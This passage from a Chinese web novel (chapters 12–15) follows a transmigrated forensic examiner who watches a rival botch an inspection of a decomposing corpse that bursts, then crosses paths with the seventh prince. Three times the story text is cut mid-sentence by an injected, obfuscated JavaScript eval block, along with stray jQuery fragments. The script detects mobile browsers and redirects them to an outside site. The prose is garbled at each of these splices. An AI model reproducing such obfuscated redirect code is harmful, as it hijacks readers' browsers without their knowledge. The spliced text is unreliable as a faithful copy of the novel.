唐素声音低了几分,“……小鱼,对不起啊,我,我真的出不来,也帮不上你……不过,我现在是自由的,你要是需要我做什么你就说啊。” 商钰和唐素相识十多年,知道他是什么人,当然也知道唐文岳是什么人,大家都是身不由己的棋子而已。 “你能做什么啊!”商钰笑了笑,“再说我现在挺好的。” 唐素不甘心,一心想着为好友出力,“……我们是好兄弟呀,你的敌人就是我的敌人,你的身份不方便对付钱满,我可以啊!” 商钰一时间有些没反应过来,“什么?” 唐素:“你不是最讨厌钱满?她现在又对你动刀子,真是大不敬,我知道你心里肯定咽不下这口气,放心,我帮你出气!” 商钰的脸有些红,“谁……讨厌她了,她也配?” 讨厌钱满这件事,商钰觉得是她自己的事情,她想怎么讨厌都与别人无关,现在被唐素这么毫无遮拦地说了出来,他面子有些挂不住。 唐素一脸惊讶,不解道:“小鱼,你是不是糊涂了啊,你不讨厌她,你天天骂她?她不是脸好看吗,咱就弄花她的脸好了。” 那就太可惜了。 没了那张脸,钱满也就没有价值了。 商钰眼神暗了暗,“不必理她,快跟我说说,这几天你都收集了什么八卦了?” 12. 第 12 章 商钰居住在皇宫,深入简出,即便是他经常找机会溜出去那也是各种不便,再加上皇帝给他找了宋沐风当师父,他的可活动范围和接触到的人就更加有限。 想要知道一些小道消息,那还得是唐素。 “小鱼鱼,”唐素亲热地拉着商钰的手,“八卦暂时没有,不过我倒是听说了一件事趣事——” 商钰没有多少耐心,“快说。” “这消息保证你听了心情好。”唐素咳嗽了一声,“你也知道我家和钱家不是只有一墙之隔么?她家的祠堂和我居住的院子挨着,我昨天就听到那边有动静,就偷偷看了一眼……” 钱家,商钰来了精神。 说起来,最初的时候,商钰经常到唐家去,还有一个原因,唐家的宅子和钱满家毗邻,去唐家可以顺便骂骂钱满,着实方便。 “别卖关子。”商钰有些不耐烦,“钱满又挨打了?” 唐素笑:“那倒没有,我听到钱明月哭着说她们钱家祖宗显灵了……哈哈哈,你说好不好笑,钱满那样的草包,她娘不会觉得她碰巧破了案就能脱胎换骨吧?” 商钰曾经不止一次地骂过钱满是草包,但是这两个字从别人嘴里说出来的时候,他觉得有些刺耳,好像他已经下意识地把钱满当做了自己的所有物,他可以说,别人不可以。 唐素也不行。 “一点都不好笑。”商钰板着脸赶人,“你走吧,我还要睡会儿。” 刚来不到一刻钟的唐素一脸懵:“……好吧。” - 钱满这天睡了个好觉,一觉醒来已经是满屋阳光。 看日头应该时间不早了,钱满正纳闷呢,怎么也没人叫她吃饭?耳边传来母亲和父亲的争吵声。 一开始只是隐隐约约的声音,但不很快两人的声音变得清晰,就像是就在耳边一样。 “钱明月,我不管是谁显灵了,我就是不准小满动刀子,我当初嫁给你的时候,你答应过的……” “……哎我的夫君,你先别生气,你听我给你说啊!” “我不听!咱们家又不缺钱,咱们好好的干点别的不好吗……半边人都是些什么人啊,妻主,我不想担惊受怕过日子啊!” “……可是,小满她真的——” “真的假的都给我打住!”刘楚玉一声怒喝,“咱们家你自己剖死人我已经受够了,我决不允许我的女儿再拿刀!” 钱满闭了闭眼睛,她收拾好自己走到前院。 刘楚玉看到女儿出来,脸上露出笑容,又恢复了他贤良淑德的摸样,“满满起来了呀,陛下不是说你这几天休沐,怎么也没有多休息?” 钱满打了个哈欠,“父亲,我肚子饿了。” 钱满坐下吃东西,母亲和父亲就那么一左一右,欲言又止。 吃饱喝足,钱满觉得应该就“拿刀”的问题跟他们探讨一下。 “父亲,母亲,我要给你们看一样东西。” 钱满说着从自己腰间的布袋中拿出了那把手术刀。 刘楚玉张大了嘴巴,一拳头打在了钱明月手臂上,“咱不是说好了不让小满碰刀的吗!这刀哪儿来的?好啊,你们母女俩联合起来骗我是吧?” 关于这把刀,钱满早就想好了说词。 钱满深吸一口气,“父亲大人息怒,我对您绝对没有任何隐瞒,这把刀是母亲出事那天我在四重门后墙哪儿捡到的,我就是看着这东西刀锋锐利,用着还挺顺手的,就收着了。” 刘楚玉捂着胸口大出了一口气,“你拿着玩也不是不行,就是别用它剖死人就好……” “父亲,”钱满打断了他,“这件事恐怕女儿不能听您的了,因为给七皇子开胸用的就是这把刀……确切地说,是这把刀给咱们家解除了嫌疑,而且我昨晚做了一个梦,我梦到了我曾曾曾姥娘。” 钱满一咬牙,继续胡诌道:“曾曾曾姥娘告诉我,这刀是一把神刀,要我好好用呢。” 刘楚玉发愣的功夫,钱满冲着钱明月眨了眨眼,母女俩心领神会。 钱明月在刘楚玉耳边低语:“夫君,你看看,这都是天意啊!先祖真的显灵了呢!” - 四重门嘉和小筑。 宋沐风和苏诚在饮茶。 很多年来,两人的关系不远不近,不定期的饮茶,下棋,小酌,似乎都成了一种习惯,大多数时候两人只是待在一起,言语交流不多,但是最近两人的交流明显多了起来,交流的主题是钱满。 “钱家先祖大概是显灵了。”苏诚懒洋洋道,“如果我没记错的话,大虞第一把天刀的所有者就是钱家祖上钱瑞音。” 宋沐风哼了一声,“如果真的显灵的话,也不至于钱家六代之内都没有能拿刀的人了。” “这不就来了?这个钱满正好是第六代了,不是,你这是什么表情?这人你要是不要的话,我就安排她来审理司——” “想得美,”宋沐风打断了苏诚,“既然钱家祖宗显灵,我也不能驳了先人的面子,不过她是不是真的拿得起祖宗的那把刀,还要看她自己的造化。” 其实两人谁也不太信钱满真的有能力脱颖而出,七皇子这案子连钱满都能看出漏洞百出,两只老狐狸又怎么不懂。 但谁也没有说破。 苏诚:“那就且走且看吧。” 行人房的一个连刀没资格拿的小杂役救活了七皇子,还顺藤摸瓜找到了谋害七皇子的凶手,皇帝给了七天,她只用了三天就查明了真相,这件事一时间成了大虞的头条谈资。 讨论得最热闹的莫过于四重门内部。 陆清扬那天因为查验萧若尸体在钱满面前跌了面子,这事在四重门已经传的沸沸扬扬,但陆清扬大小也是个副组长,大家背后喜闻乐道,但也没人敢在她面前当面蛐蛐。 “听说了吗,陆副组长以大蒜味判定那人是砷霜中毒,谁能想到大蒜味是因为审理司李大人吃了蒜。” “噗……哈哈哈,这可真是,谁能想到整天花孔雀一样的李大人会吃大蒜。” “这个钱满的脑子还真是不一样,能想到平常人想不到的事情。” “那也未必,她也就是运气好!咱们陆副组长够倒霉的。” “这就叫恶人自有天收,谁让她整天目空一切,总觉得自己比门主还有天分,谁不知道她的刀是买的!” …… 陆清扬这天被宋沐风叫过去,说是南郊壶流河岸边发现了一具女尸,要她过去查验一下。 按理说,一般的案子到不了四重门这里,更不需要她这个组长去处理一具简单的女尸。 陆清扬心里不痛快就抱怨了一句:“门主,怎么死了一个人也要咱们出现场啊?” 宋沐风的脸上没什么表情,看不出悲喜,只是淡淡道:“一个人也是条人命,去吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244889|166348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陆清扬憋了一肚子火气,谁知道刚走出嘉和小筑,就听到路口有人凑在一起说闲话,大概是这几个人的级别太低了,应该是年前刚刚入门的“水刀”组的。 四重门一共有三大组,每个组配备组长一名,副组长两名,每组的组员是三十名,除了三大组之外,四重门每年还会吸纳一定的新人进到“水刀组”,水刀组的人员不定,她们是初步具备进入四重门资格的人,但最终能不能留下,还要看三大组要不要她们。 这些新人如果半年之内还没有被三大组挑选,那就是被淘汰了,被淘汰的人一般情况下不允许再进入到四重门,但也有例外,比如钱明月,她就是靠着祖上的功德留在了行人房。 这几个人自然不会有钱明月这样的好运气,她们就像是赌桌上的赌徒,每天战战兢兢又心怀希望,闲暇之余也就是聊些八卦调剂生活。 她们只是听说陆清扬这个人,见过本人的并没有几个,所以陆清扬都走到她们身边了,几个人唠得热乎。 直到陆清扬冷着脸站在几个人面前。 为首的一个反应过来,马上换了一张笑脸:“……陆,陆副组长,我们……” “……”想要发火的陆清扬突然改变了主意,“你们几个,跟我去壶流河。” - 壶流河岸边。 钱满在家呆的实在无聊,再加上妹妹弟弟的蛊惑,三人就来到了壶流河游玩。 “钱进!”钱满双手叉着腰,一脸无奈,“这就是你说的风光无限秀美的踏青圣地?青呢?人呢?” 钱进嘿嘿一乐,“……这个,私塾先生说踏青作诗一首,我这不是来这里找找灵感嘛!” 钱来:“父亲说了,我们俩尚且年幼,不能独自前来,父亲和母亲要去上香没得空,顶事的就只剩下大姐你了!” 钱满:…… 原来,她这个顶事的大姐今天的使命是带孩子。 不过,作诗这种事情,她实在无能为力,曾经的唐诗三百首她早就还给老师了。 钱满深吸一口气,努力看着并不是很美的风景。 壶流河位于中州中心城区南三里地左右,虽然已经是四月初十,但这岸边却依然景色有限,岸边基本都是石头,偶尔一两簇青草冒出头,也是长得营养不良一般,看着就可怜。 钱满觉得自己比脚底下的草还可怜,好不容易可以躺平几天,为什么要听这两个小鬼头的话,来这个破水坑边上吹冷风—— 嗯?好像这空气中的气味有些不对。 “钱进!”钱满抓着妹妹的胳膊,又使劲吸了下鼻子,“你拉裤兜了!怎么这么臭!” 钱进捂着屁股挣扎,“大姐,我没有!我一个屁都没放!一定是小来!小来今早上吃多了!” 钱来:“你胡说,才不是我嘞!哎?大姐,那边儿来了好多人!” 钱满又吸了吸鼻子,这才意识到有些不对劲,这臭味似乎不是一般的屎味,好像是腐尸。 顺着钱来手指的方向,钱满看到不远处五六个人骑马而来,看衣着打扮像是四重门的人。 穿着黑色制服的人在距离钱满十米左右的位置停了下来,钱满看清楚了,为首的那个人她见过,是陆清扬。 怎么着也算是同事,她正琢磨着要不要上前打个招呼,就听到路青扬的声音传来—— “四重门办案,闲杂人等回避!” 13. 第 13 章 陆青杨的大嗓门很有穿透力,钱满捂着耳朵带着弟妹后退了十几米。 大概是是职业病吧,她完全没有离开的意思,下意识地摸了摸自己口袋里的刀,还别说,虽然尸体的味道不好闻,但她有些手痒是真的。 愈发浓重的腐败气息传来,钱满教弟弟妹妹用衣衫掩住了口鼻。 从这个味道的冲击程度,结合现在的天气,这尸体估计至少泡了七八天了。 钱进吓得脸色苍白,“……大姐,咱们回家吧,先生布置的作业不做也罢,这么臭……实在作不出来。” 钱来倒是胆大的,他捏着鼻子细声细气说道:“是半边人办案呢,母亲常说她都没机会见过,咱们今天见过了,回家可以跟母亲说了!” 钱满默默小孩的脑袋,“乖,别说话,咱们看一会儿再走。” 陆青杨瞥了一眼远处的钱满,眼神中尽是不屑,但她也没有赶人,钱满没有离开正合她意。 就是想要让这个黄毛丫头看看,什么才是真正的半边人,真以为自己动了一次刀就有多厉害了? 看看她身边这几个水刀组的人,哪个不是觉得自己有天赋的? 想当年,她也觉得自己生来不凡,但如今年过而立才爬到了副组长的位置,修练到元道第四层之后再也没有突破,就连手中的刀也是倾其所有购买的……她最初的那把水刀升级到凡刀之后就再也没有动静了,陆清扬现在的这刀是她从黑市购买的。 半边人的刀就是脸面,反过来一个人的能力高低也会反射在刀上,这种被称之为“半边刀”的武器有五个等级,入门的水刀是最低级的,往后还有凡刀,灵刀,圣刀,最高级的半边刀就是天刀。 能拥有一把天刀可谓是每一个半边人的终极梦想,但百余年来,天刀在大虞也就是出现过一次,那把天刀的所有者就是钱家先祖钱延的。 当然,半边刀升级的途径除了靠自身能力之外,还可以从黑市购买,但是购买而来的刀相比自己的升级的“原生刀”来说就稍微逊色一些,比如后期的升级可能性不大。 陆清扬的这把灵刀品质一般,只是普品,想要刀具升级,首先自身得有突破。 原本七皇子这件事她想着是个机缘,谁知道让一个杂役抢了风头,再加上萧若那件事,陆青杨对钱满的不满可谓到了极点。 生气归生气,宋沐风亲自交代的任务还是要认真做。 河边石块凌乱杂草丛生,那尸体就隐匿在一片尚未返青的芦苇荡边,尸体周围的水已经变成了黑色。 高度腐败的尸体已经生出了很多蛆虫和苍蝇,嗡嗡作响,陆青杨戴上面罩,弯腰查看了一下便退了回来。 一转身看到一张熟悉的脸,是二组的另外一个副组长郭诗语。 二组有两个副组长,自从上一任组长许伽因公失踪之后,位置一直空缺。这个郭诗语比陆青杨年轻几岁,是个关系户,据说是审理司苏城介绍过来的。 众所周知,四重门的老大宋沐风和审理司老大苏城是至交,郭诗语自身也不差,来了没两年就成绩斐然,升到到了和陆青杨一般的位置。 更可气的是这人的刀是自己提升的,虽然也是灵刀,但已经是灵刀中的仙品,也就是说距离下一个级别——圣刀,只有一步之遥了。 所以陆青杨在看到郭诗语的时候脸色更差了。 这俩人虽然心里都恨不得对方先死,但表面上还是好搭档,当面黑脸的事情,陆青杨还没做过,毕竟她一个纯草根,没有一个帮着说话的姑姑。 “你来做什么?” 郭诗语的表现到没有多大不同,还是和往常一样,笑嘻嘻地说:“门主让我过来协助。怎么样,能辨认出什么?” 陆青杨脸色更黑了:“都巨人观了,尸水遍地,怎么辨认?” 远处看戏的钱满脸上露出期待的表情,巨人观?她还没有见过现场呢。 说来奇怪,来到这个世界之后,钱满发现自己耳朵好用了不少,就说现在这个距离,要是放在以前她是不可能听到远处人说什么的,但现在却能听得清楚。 之前她在后院听到家人的讲话,她还以为只是个偶然,现在看来是她听力确实提升了。 郭诗语捂着口鼻做出痛苦状,“哎呀,这么高难度的活,也就是陆组长能接。你放心,我全力配合你的工作!” 虽然明知道不可能是真心,但恭维的话谁不爱听,陆青杨表情轻松了不少,她转身吩咐众人:“你们几个,把尸体抬出来。” 一腔欢喜跟着来的几个水刀组人员:…… 半晌没有人动地方。 陆青杨正要发作,就听到郭诗语说:“怎么,你们不想进二组?不过你们没听说吗?一组今年编制已经满了,三组嘛……王桔脾气不小,喜好也有些小众。” 几个人一听这话,哭丧的脸色变了变,一个比一个积极踏入到了漆黑的尸水中。 尸体的四肢和腹部已经明显的膨大,特别是腹部,圆鼓鼓的状似八九个月的孕夫,双眼凸出眼眶,嘴唇已经外翻,头发已经脱落,头皮炸开,暴露的皮肤已经呈现灰绿色。 水刀组的几个人简直要哭出来了,但为了前程,她们也只能咬牙下手了。 一刻钟后,尸体被安置在了担架上,抬到了河滩一块平坦的位置。 这一下,钱满刚刚看到了尸体那高高隆起的腹部和粗壮的四肢。 巨人观也不可能这么壮观,这人肚子里应该有东西吧? 看到这儿,钱满的好奇心已经被满足了,打算离开。 主要是钱进已经忍不住吐了三次了,为了妹妹的生命安全考虑,她只能离开了。 但人还没走两步,就听到后面有人冷笑。 陆青杨:“看了这么半天,就这么走了?还以为是个胆大的,也不过如此。” 郭诗语咳了一声,“哟,这不是钱行人的女儿?说起来你们也算是四重门的人,能够亲眼看到半边人办案的机会不多,估计你母亲也没有你幸运呢。” 钱满捂着鼻子深吸一口气,她想着回去之后一定要做几个“口罩”,这种环境真是太需要了! 这俩人这是激将法呢,不过她还害怕这个吗,钱满还真想着近距离看看呢。 “小进,你带着小来在这边等我,我去去就来。”钱满嘱咐妹妹,“记住了,就在原地不要乱跑。” 安顿好两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250262|166348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小的,钱满来到了陆青杨郭诗语面前。 “钱满见过两位大人。” 陆青杨笑:“你既然喜欢看,那就离近点,好好看看,看仔细一点,这样也好回去给你母亲描述一番……哈哈哈哈!” 郭诗语:“说起来,我听说一件事,当年钱行人来四重门,连入门测试都没有通过吧?” 陆清扬:“不过咱们四重门重情义,先祖出力,后人享用……” 言外之意,钱家母女能够在四重门混饭吃,靠的全是先祖。 两人一唱一和这么一说,她们身后那几位水刀组的人看钱满的眼神就不对了,她们好在也是通过了测试的人呢! 钱满闭了闭眼睛,心想,是你们逼我的。 眼前这两个人,简直比他们技侦中心的老李还讨厌,说她就说她,连带着还说她母亲,真是太给她们脸了。 “没通过测试怎么了?我家祠堂里有大虞第一把天刀,你们有吗?”钱满看着陆青杨的刀,“陆大人的刀花了不少银子吧?” 这可真是戳了陆青杨的肺管子,何止是不少啊,那可是她入门十年的全部积蓄啊,如今生活颇有些捉襟见肘。 钱满接着说:“陆大人如果囊中羞涩的话,我倒可以帮忙,我母亲赚钱不多,但我父亲有钱……” 陆青杨:…… 陆青杨的脸色已经变成了黑红色,“钱满,要看就看,不看就滚,啰嗦什么!” 有热闹钱满自然要看,她倒要看看陆青杨郭诗语怎么把这个圆鼓鼓的巨人观弄走。 陆青杨原本是想着趁机把钱满羞辱一番,出出心中的恶气,这一点郭诗语与她的是目的是一致的。 但是钱满一开口就拿住了她的七寸。 经历了七皇子这一桩事,钱明月的夫郎是中州首富刘家的小儿子的事情已经传开了,钱满自然是不缺钱的,这就更加让陆青杨妒火中烧。 郭诗语一看情形不太对也就选择了临岸观火,总之,钱满能让陆青杨不痛快,她心里是痛快的。 钱满这下近距离看到了尸体。 大概是因为移动的原因,这人的腹部看着比刚才更加膨胀了,尸体皮肤被腐败气体撑得油光发亮,呈现出诡异的青紫色,浓烈的臭味让钱满有些受不住,但好在她之前在解剖室见识的也不少,这样的场面还不至于让她呕吐。 陆青杨一心想着找回面子,也不再辩论,径自往尸体走去。 她心里憋了一口气,这一次案子一定要办的漂亮,不管是要给钱满一个下马威,还要提防郭诗语,宋沐风既然让她也过来了,那就不是单纯的协助。 二组组长的位置空缺有半年多了。 陆青杨调整了一下面罩,屏住呼吸,拿出了自己的刀。 可就在这时候,钱满突然听到了一声微弱的气声—— 噗嗤。 钱满瞬间意识到了什么,下意识地迅速后退,她边跑边喊:“快退开!” 但谁也没反应过来,等到大家明白这句话意思的时候已经太晚了。 放着尸体的担架诡异地颤动了一下,尸体表面的衣服瞬间四分五裂,伴随着一声“砰”地一声闷响,尸体就地炸了。 14. 第 14 章 现场的空气仿佛一下子勾了芡,这哪里是普通的尸臭,简直就像有人把臭鸡蛋、烂鱼和各种腐败的植物、动物的粪便等一股脑混合到了一起,又在三伏天里发酵了几十天。 腐败的组织液体如同开了闸的洪水,裹挟着碎肉和内脏碎片喷涌而出。 一时间,空气中红的、白的、青绿、黑色各种颜色腾空而起,稀里哗啦又迅速跌落一地。 在场的人刚刚都顾着看陆青杨和钱满斗嘴了,谁也没注意到这尸体的异象。 距离最近的陆青杨躲闪不及,被浇了一头一身,简直是360度无死角全覆盖。 她身后的其他几个人也好不到哪儿去,郭诗语已经蹲在地上呕吐了,身上也沾染了红白状污物。 那几个水刀组的,更是吐得稀里哗啦。 "呕——"现场响起此起彼伏的干呕声。 只有钱满这个幸运儿,她察觉到不对之后迅速撤离,只是裤腿上被喷溅了几滴散发着恶臭的粘液。 这比起陆青杨她们几个,已经是好太多了。 陆青杨的脸已经花了,还好她戴着半边人专用的面罩,只是一头花花绿绿的粘液实在是惨不忍睹。 半晌,吐完的众人忍着恶臭到河边冲洗了一番,冷风一吹,这才感觉活过来了。 惊魂未定的钱满在好奇和恶臭之间选择了满足自己的好奇心,她捂着鼻子小心翼翼地挪到了尸体边上,两条黑青泛着紫色的腿已经分了家,上面是炸开的腹腔,但奇怪的是并没有明显的凹陷,更加诡异的是,那鼓起来的部分似乎在蠕动。 钱满脑海里闪过一个不可思议的念头:一般来说,母体死亡之后胎儿的存活时间只有四五分钟,但这个世界不一样,如果母体修练到元道五层以上,体内的元丹一样可以给胎儿提供养分,也就是说这蠕动的东西极有可能是一个活物。 赶过来的陆青杨也被眼前的一幕惊呆了,她马上意识到,这可能是自己露脸的好机会,可不能让这个钱满再捡漏了。 “还不快滚,等着当下酒菜啊?” 钱满看到狼狈不堪的陆青杨有些憋不住,她原本也想回去了,但这人的嘴巴简直比这地方的还臭。 “啊?原来陆大人还有这个爱好啊?”钱满捂着鼻子皱眉,“那我比不得大人,您老慢慢享用。” 钱满说完拔腿就跑,完全没有给陆青杨反驳的机会。 陆青杨在后面气得跳脚,“……她刚刚说什么?我哪儿老了!” 带着妹妹弟弟回到家,开门的冬阳被熏得半天没说出话,黑猫喵呜一声惨叫,迅速窜出了院门。 钱满哭笑不得:“这个小叛徒!” 冬阳是真的要哭了:“大小姐,这这……你们怎么弄的啊?” “……”钱满叹息,“说来话长,去准备热水。” 还好钱明月两口子还没有回来,冬阳在厨房烧热水,钱满则在厨房放置调理的地方挑挑拣拣。 冬阳皱着眉头有些受不了,“大小姐,你能不能先出去啊,这厨房都被你熏臭了,等到夫主回来又要骂人了……” 外面等着的两个也在叫喊。 钱进:“大姐啊,什么时候能够洗澡啊,我快死了……” 钱来:“我好臭啊……我完蛋了,爹爹一定会发疯的!” 钱满一阵头疼,她屏住呼吸,找出了粗盐,白醋,酒,还有一小把芫荽,找齐了东西这才来到了院子里。 钱满把芫荽和粗盐一起捣碎,又把醋和白酒倒进去搅拌均匀,拿出三个碗,分成了三份。 “一会儿洗澡的时候,用这个好好搓搓身上。”钱满吩咐道:“这样就可以祛除味道了。” 这个祛除异味的法子还是她的导师告诉的,但钱满之前没有机会验证这法子的有效性,毕竟在原来的世界想要去味还有很多别的办法。 能不能有效她不敢保证,聊胜于无吧。 三人一顿兵荒马乱的大洗涮,两大锅热水都没够,冬阳又赶紧烧了一锅,累得披头流水,忙活了差不多一个时辰,三人总算是收拾利索。 还没有把洗澡水毁尸灭迹,就听到院门传来动静。 刘楚玉靠近自家院子的时候,就闻到了一股子怪味,当时也没有多想,但进了院子才明白过来院子这臭味是从自家院子发出来的。 再看看自己的三个孩子,他吸了吸鼻子,明白过来,这味道他太熟悉了! 一声犀利的高音瞬间暴起—— “钱满!你又去剖尸了?还带着你弟弟他们?” 刚刚还伶牙俐齿的钱满选择了保持沉默,她这几日已经领教了这位父亲大人的杀伤力,她那点儿口才在刘楚玉面前无异于班门弄斧。 再说这一次她也是确实不占理,被骂几句也是应该。 一刻钟后,刘楚玉骂累了。 钱满这才向前,刚走一步,就被钱明月制止了,“……小满,离你父亲远点。” 钱满无奈,又后退两步,“母亲,父亲,这事儿真的不赖女儿,我带着二妹他们到了壶流河边儿,谁知道那么巧,就遇到了陆青杨她们出现场了……” 刘楚玉不信,“那你这一身的味道又是怎么回事?等会,你别说话,小来,你说!” 钱来看看大姐,又看看父亲,眨巴着大眼睛,“爹爹,大姐真的没有剖尸,但是那个尸体自己炸了……” “啊?” “什么!” 刘楚玉和钱明月同时震惊出声。 钱明月一脸掩饰不住的遗憾,“小满呐,你可真是运气好,这么快就有机会看到这么高级的现场,这真的是天意,感谢祖宗显灵啊——” “你脑子进尸水了吧!”刘楚玉站起来揪住了钱明月的耳朵,“我跟你说,我可还是没同意呢!” 院子里顿时传来钱明月的求饶和妹妹弟弟的哄笑声。 这种场面让钱满觉得有些莫名感动,在原来的世界,她的父母都是严谨内敛的人,由于父母工作性质特殊,成年之后她们之间的联系就越来越少,这样充满家庭气息的画面是她梦寐以求的。 但是,耳朵真的有些受不了。 钱满无奈地摇摇头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15254975|166348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,趁机溜出了院门。反正今天也没啥胃口吃饭,索性出去走走。 这一次钱满是从家里后门出来的,走出家门她才意识到,自己家的邻居似乎身份不凡,同样是后门,这一家的门面就比自家高级太多了。 钱满就不忍不住多看了几眼。 唐素提着一个精致的点心匣子正从自家后门出来,他身后跟着一个身材矮小的小侍,两人鬼鬼祟祟的,看样子是偷跑出来的。 唐素只想着快点离开,他今天和商钰约好了到茗香居喝茶听书,他还带了自己新研制的小点心,谁知道一出门就看到一个不顺眼的人。 唐素看钱满不顺眼纯粹是因为商钰不喜欢钱满。 不过这人今天倒是收拾的人模狗样的,只是……这身上似乎有股子怪味道? 一想到钱家母女是在行人房当值的,唐素一脸嫌弃,“好狗不挡道。” 钱满脑海里的记忆也随之复苏,原来这人是商钰的好友死党手帕交唐素,怪不得说出来的话都是一个语气。 只是这人一张包子脸,身材圆润,皱眉的样子活像一只加菲猫。 “我又不是好狗。”钱满觉得有趣,“我是个好人。” 唐素大概没想到钱满会这么说,气得包子脸又多了一道褶,“你……你等着,公子我今天有事,就先饶了你!” 看着唐素落荒而逃的圆润身影,钱满忍不住笑了,她正愁没地方去呢,不如看看这小包子去哪儿,他手里的食盒散发的香气实在诱人。 - 璇珂宫。 商钰身边的侍从李琥正在手舞足蹈地说着什么,大约是听到了有趣之处,商钰被逗得哈哈大笑。 “钱满真的那么说的?” 李琥:“千真万确,主子你给我的这个传音筒法器真的好使,她们说什么我都听得听出,陆副组长气得都不会说话了!” “陆青杨真的弄了一头一脸?” 李琥点头:“可不是咋的,奴才远远看着……啧啧啧,简直惨不忍睹啊,还好咱有殿下给的熏香,不然也是臭烘烘的……” 商钰似乎想起了什么,嫌弃地捂住了鼻子,“虎子,你回来之后还没沐浴吧?” 李琥嘿嘿一笑,在商钰还没有动手之前一溜烟跑了。 商钰手指摸着下巴琢磨了半天,最终自己没憋住,又哈哈地笑了一通。 可惜了,这么精彩的画面她没有亲眼看到,早知道应该自己亲自去的。 李琥离开之后,商钰才想起来今天她约了唐素去茗香居,连忙换了一身出宫的便服,带上周乙就出宫了。 - 茗香居是中州内城最大的茶馆,但里面的人却不多,除了中央舞台上那点儿喧嚣,台下的人都很安静。 唐素提着点心匣子进了门,这里他和商钰是常客,店员都认识,看到她进来,便笑着引她倒二楼临窗的固定座儿。 “唐公子,今日还是半天夭?” 唐素微微颔首,把点心匣子放在木桌上,扭头看向窗外,这一看不打紧,惊得他瞬间长大了嘴巴。 15. 第 15 章 其实,钱满也不是一定为了一口吃的跟着唐素,她就是想着,唐素是商钰的闺友,那他出来大概率是过来见商钰的。 能不能吃到点心她不确定,但大概率能够见到商钰。 这不就见到了? 钱满觉得自己现在的心态有些变形,之前因为案子的缘故,要和商钰见面无可厚非,现在案子也结束了,她怎么还想着见商钰? 是受虐不够? 这小没良心的可是自己的死对头啊! 但是今天的商钰与之前有些不同,好像是在对着她笑啊。 恰好此时一阵风吹来,高大的泡桐树花落缤纷,商钰的发髻上落了一朵淡紫色的花朵。 瓷白带着红润的肌肤,乌发如墨,素白的长衫,头顶上的那朵花犹如画龙点睛,给商钰整个人注入了鲜活的气息。 再加上他的笑容,钱满顿时就挪不开眼了。 但她很快清醒过来,自己于这个世界而言,不过就是个过客。 既然是过客,那最多也就是做做日行一善的事情,比如帮商钰去除头顶上的花朵。 钱满这么想着也就这么做了,并没有觉得这有什么不妥,仿佛这样的动作她之前做过很多次,脑海里突然浮起一些模糊的画面……两个小孩在树下玩耍,个子高些的那个伸手给胖乎脸蛋的那个摘掉了头顶的落花。 钱满只觉得胸口闷闷的,怅然若失,但留给她的只是商钰迅速离去的背影。 唐素在茶楼看到的画面就是,钱满伸手帮助商钰摘花,两个曾经针锋相对的人竟然没有任何冲突,商钰离开的时候甚至还冲着钱满笑了! 唐素觉得钱满小命危矣! 钱满这个胆大包天的莽妇竟然敢对七皇子动手,她定然是活得不耐烦了! 商钰心情不错地上了楼,对上唐素震惊的目光。 “……那个,小鱼,你是不是被钱满气糊涂了,我这下去打她!” 商钰摇头,“不关你的事,坐下。” 钱满对着茗香居的招牌看了片刻,还是决定不凑热闹。 这七皇子对于原主显然不只是“死对头”那么简单,而自己对着那张脸也没办法保证心如止水,她并没有做好在这个陌生世界发展一段感情的准备,趁着大家都没有捅破窗户纸,就保持距离吧。 钱满漫无目的地在街上溜达,这一走竟然下意识地又走到了四重门的后院围墙处,西北角的小门直通行人房小院,她才发现,她家的院子到这里只隔了一道街,距离极近。 钱满这才意识到,自己家那个院子虽然不算大,但地理位置定然是寸土寸金,关键是她们娘俩上班近呢。 只是,一想到明天就要去当值,钱满心里有些茫然。 母亲说过的那些话犹在耳边,祖上有过无限荣光,到了母亲这里连拿刀的资格都没有,她能想象出母亲的遗憾,不然也不会把弄一身尸臭当做运气好了。 钱满手指触及腰间的口袋,一阵冰凉的触感传来,她取出了那把手术刀,阳光映射下,刀片闪烁着淡蓝色的荧光,钱满只觉得眼前亮光猛地增强,紧接着她拿刀的右臂变得冰冷刺骨,那种诡异的感觉又来了。 虽然钱明月把半边人的先兆反应说的天花乱坠,钱满还是有些忍受不了这种冰火两重天的滋味,这一次的感觉比前两次更加强烈,两条腿几乎麻痹,动弹不得。 钱满只觉得自己被一股莫名的力量生生劈成了两半,强烈的分离感觉让她有些恍惚,似乎有什么东西从她的体内涌出,又似乎有东西朝她扑面而来。 啪。 还没等钱满反应过来,就觉得右边肩头一热,有人拍了她一下,又在她的肩头按了按。 说来奇怪,冰火交替的感觉渐渐平息了,钱满转过来,看到一张冷峻淡然的脸。 是宋沐风。 “……钱满见过门主大人。” 